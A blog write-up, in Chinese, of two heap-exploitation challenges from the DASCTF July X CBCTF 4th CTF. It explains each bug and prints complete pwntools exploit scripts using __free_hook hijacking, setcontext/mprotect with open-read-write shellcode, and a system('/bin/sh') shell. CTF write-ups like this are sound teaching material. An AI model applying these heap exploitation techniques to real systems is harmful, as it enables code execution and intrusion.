DASCTF July X CBCTF 4th pwn

前言

之前写了一半的ret2dl的博客还没写完,本来准备边写边学。后面发现涉及的东西有些多,所以还是准备彻底理解了再接着写。最近打了安恒的比赛,这里记录和复现一下这场比赛的pwn。

Easyheap

题目分析

我们先分析一下题目,开始看到main函数开始有一些做初始化的函数,可以看到题目开了沙盒,我们来查看一下

ida里发现的沙盒

sudo seccomp-tools dump ./Easyheap 

查看开了什么沙盒

可以看到我们是不可以执行execve的,那么就只能使用orw来读取我们的flag了

我们接着分析几个函数

add

发现add这里存在漏洞,strdup只会根据你输入的长度来确定malloc的大小和nbytes无关,heap_size的大小只和我们输入的大小nbytes有关,而heap_addr指向的堆是由strdup申请来的,其大小和我们输入的字符串长度有关。

show

show函数没有什么特殊的,先查看heap里是否有

delete

delete也一样没有什么特殊的,清空了指针

edit

edit这里有add函数伏笔回收,如果我们在add时输入的长度大于我们输入字符串长度,这里我们就可以overwrite

脚本编写

要想泄露libc的地址我们需要先将chunk放入unsortedbin,题目的libc版本是Ubuntu GLIBC 2.27-3ubuntu1.4所以我们需要先填满tcache,然后提前申请好两个chunk,将后面的chunk放入unsorted_bin,通过上面heap的overwrite,来查看libc相对偏移。

for i in range (7):
add(0x90,'a'*0x90)#0-6
add(0x500,b'a'*0x10)#7
add(0x90,b'b'*0x90)#8
add(0x10,b'interval')#9
for i in range (7):
dele(i)
dele(8)
edit(7,b'a'*0x20)
show(7)
un_addr=u64(ru(io,'\x7f')[-6:].ljust(8,'\x00'))
success('un_addr : '+hex(un_addr))

填满tcache

overwrite

得到我们的libc

泄露libc

将我们可能需要的偏移全部计算出来

libc.address=un_addr-0x3ebca0
success('libc.address : '+hex(libc.address))
malloc_hook=libc.sym['__malloc_hook']
success('malloc_hook : '+hex(malloc_hook))
free_hook=libc.sym['__free_hook']
success('free_hook : '+hex(free_hook))
system_addr=libc.sym['system']
set_context=libc.sym['setcontext']

恢复之前overwrite的chunk,否侧无法从中申请到后面的chunk

payload=b'a'*0x10+p64(0)+p64(0xa1)
edit(7,payload)

修复chunk

我们知道了libc之后现在就可以去劫持hook了,我们将之前释放的chunk切割一块出来,再将其放入tcache。接下来再次通过overwrite来劫持free_hook,这样free_hook就被放在tcache的链表。

add(0x10,'aaaa')#0
dele(0)
payload=b'a'*0x10+p64(0)+p64(0x21)+p64(free_hook)
edit(7,payload)
add(0x500,'aaaa')#0
add(0x500,'free')#free_hook

free_hook被放入tcache

成功劫持free_hook之后,由于这里开了沙盒所以需要我们做orw,首先我们需要一块可以调用写shellocde的地方,所以需要调用mprotect函数,在free_hook这一页添加可执行权限,而做到这个需要采用setcontent,我们将free_hook,改写为setcontent,这样我们调用free函数就会调用setcontent。

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi, rdi
mov rsi, {}
mov rdx, 0x1000
mov rax, 0
syscall
jmp rsi
'''.format(new_addr)
edit(1,p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

free_hook周围值

我们再将我们接下来要free的chunk内填上我们需要的值:

将rsp赋值为我们之前布置好的free_hook+0x18,其指向shellcode,这样setcontent执行完就会跳转到我们的shellcode

其他的rdi,rsi,rdx,rip,都是为了改写free_hook对应页的权限。

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(0,str(frame))

image-20210804195139417

接下来当setcontent执行完,指针会跳转到我们free_hook附近写下的shellcode中,shellcode会调用read函数,会在我们free_hook页让我们写入shellocode并跳转执行。我们写入一个标准的orw即可。这一部分比较模板化,可以记录下来,以后稍加改造就可以再次使用。

dele(0)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(io,asm(shellcode2))

完整exp:

from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
context.binary = elf = ELF("./Easyheap")

#io=gdb.debug('./test','b *0x080492D4')
one_gadget=[0x4f3d5,0x4f432,0x10a41c]
libc=ELF('./libc-2.27.so')
#io=process('./Easyheap')
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

def add(fake_size,cont):
sla(io,'>> :','1')
sla(io,'Size:',str(fake_size))
sa(io,'Content:',cont)
def dele(idx):
sla(io,'>> :','2')
sla(io,'Index:',str(idx))
def show(idx):
sla(io,'>> :','3')
sla(io,'Index:',str(idx))
def edit(idx,cont):
sla(io,'>> :','4')
sla(io,'Index:',str(idx))
sa(io,'Content:',cont)

def pwn():
for i in range (7):
add(0x90,b'a'*0x90)#0-6
add(0x500,b'a'*0x10)#7
add(0x90,b'b'*0x90)#8
add(0x10,b'interval')
for i in range (7):
dele(i)
dele(8)
edit(7,b'a'*0x20)
show(7)

un_addr=u64(ru(io,'\x7f')[-6:].ljust(8,'\x00'))
success('un_addr : '+hex(un_addr))
libc.address=un_addr-0x3ebca0
success('libc.address : '+hex(libc.address))
malloc_hook=libc.sym['__malloc_hook']
success('malloc_hook : '+hex(malloc_hook))
free_hook=libc.sym['__free_hook']
success('free_hook : '+hex(free_hook))
system_addr=libc.sym['system']
set_context=libc.sym['setcontext']
pause()
payload=b'a'*0x10+p64(0)+p64(0xa1)
edit(7,payload)


add(0x10,'aaaa')#0
dele(0)
payload=b'a'*0x10+p64(0)+p64(0x21)+p64(free_hook)
edit(7,payload)
add(0x500,'aaaa')#0
add(0x500,'free')#free_hook 1


new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi, rdi
mov rsi, {}
mov rdx, 0x1000
mov rax, 0
syscall
jmp rsi
'''.format(new_addr)
edit(1,p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))


frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']

edit(0,str(frame))

dele(0)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(io,asm(shellcode2))
io.interactive()

if __name__ == "__main__":
while True:
io=remote('node4.buuoj.cn',27832)
try:
pwn()
except:
io.close()

realNoOutput

题目分析

add

这里我们可以看到,idx的范围是0-9,一共10个chunk,我们看看它的size数组和addr数组

size&addr

发现其size数组大小为8,说明数组size大小有问题。

delete

edit

我们可以看到上图edit函数里如果不执行if函数仍然可以借助栈里残留的值来进行赋值,从而实现uaf

show

脚本编写

我们先来泄露其libc,由于chunk申请出来的时候没有清理内存,所以我们可以将放在unsorted_bin中的chunk申请出来,得到libc基地址。先填满tcache

for i in range(8):
add(i,0x100,b'')
for i in range(8):
dele(7-i)
add(7,0x10,b'aaaaaaa')
show(7)
gdb.attach(io)
un_addr=u64(ru(io,'\x7f')[-6:].ljust(8,'\x00'))
success('un_addr : '+hex(un_addr))
libc.address=un_addr-0x1ebce0
success('libc_base : '+hex(libc.address))

获取基地址

再泄露一些我们需要的函数地址

system=libc.sym['system']
success('system : '+hex(system))
free_hook=libc.sym['__free_hook']
success('free_hook : '+hex(free_hook))

接下来需要的就是劫持free_hook来获取shell

add(1,0x10,'aaaa')
add(2,0x10,'aaaa')
add(3,0x10,'/bin/sh\x00')
add(8,0x10,'aaaa')

chunk1和2是为了填充tcache,chunk3是为了后面劫持free_hook到system作为参数使用的。

至于chunk8是为了将chunk0的heap_addr赋值,由于数组越界,我们的chunk8的size会作为chunk0的地址使用。

addr数组

接下来我们就要劫持free_hook了,先将free_hook放在tcache的链表上

dele(1)
dele(2)
edit(0,p64(free_hook))

这里edit的地址并不是chunk0的而是已经被free的chunk2遗留在栈上的,所以这里构造了一个uaf。

劫持free_hook

剩下的事情就简单了我们将free_hook申请出来,将其修改为system的地址,然后delete之前准备好写有”/bin/sh\x00”的堆块,即可拿取shell。

add(1,0x10,'aaaa')
add(2,0x10,p64(system))
dele(3)

完整exp:

from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
context.binary = elf = ELF("./realNoOutput")
#io=remote('node4.buuoj.cn',27832)
#io=gdb.debug('./test','b *0x080492D4')
#one_gadget=[0x4f3d5,0x4f432,0x10a41c]
libc=ELF('./libc.so.6')
io=process('./realNoOutput')
#io=remote('node4.buuoj.cn',29826)
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)


def add(idx,size,cont):
sleep(0.2)
sl(io,'1')
sleep(0.2)
sl(io,str(idx))
sleep(0.2)
sl(io,str(size))
sleep(0.2)
sl(io,cont)

def dele(idx):
sleep(0.2)
sl(io,'2')
sleep(0.2)
sl(io,str(idx))

def edit(idx,cont):
sleep(0.2)
sl(io,'3')
sleep(0.2)
sl(io,str(idx))
sleep(0.2)
sl(io,cont)

def show(idx):
sleep(0.2)
sl(io,'4')
sleep(0.2)
sl(io,str(idx))

for i in range(8):
add(i,0x100,b'')
for i in range(8):
dele(7-i)
add(7,0x10,b'aaaaaaa')
show(7)

un_addr=u64(ru(io,'\x7f')[-6:].ljust(8,'\x00'))
success('un_addr : '+hex(un_addr))
libc.address=un_addr-0x1ebce0
success('libc_base : '+hex(libc.address))
system=libc.sym['system']
success('system : '+hex(system))
free_hook=libc.sym['__free_hook']
success('free_hook : '+hex(free_hook))


add(1,0x10,'aaaa')
add(2,0x10,'aaaa')
add(3,0x10,'/bin/sh\x00')
add(8,0x10,'aaaa')

dele(1)
dele(2)
edit(0,p64(free_hook))

add(1,0x10,'aaaa')
add(2,0x10,p64(system))
dele(3)

io.interactive()
Author: Kr0emer
Link: http://kr0emer.com/2021/08/04/DASCTF July X CBCTF 4th pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.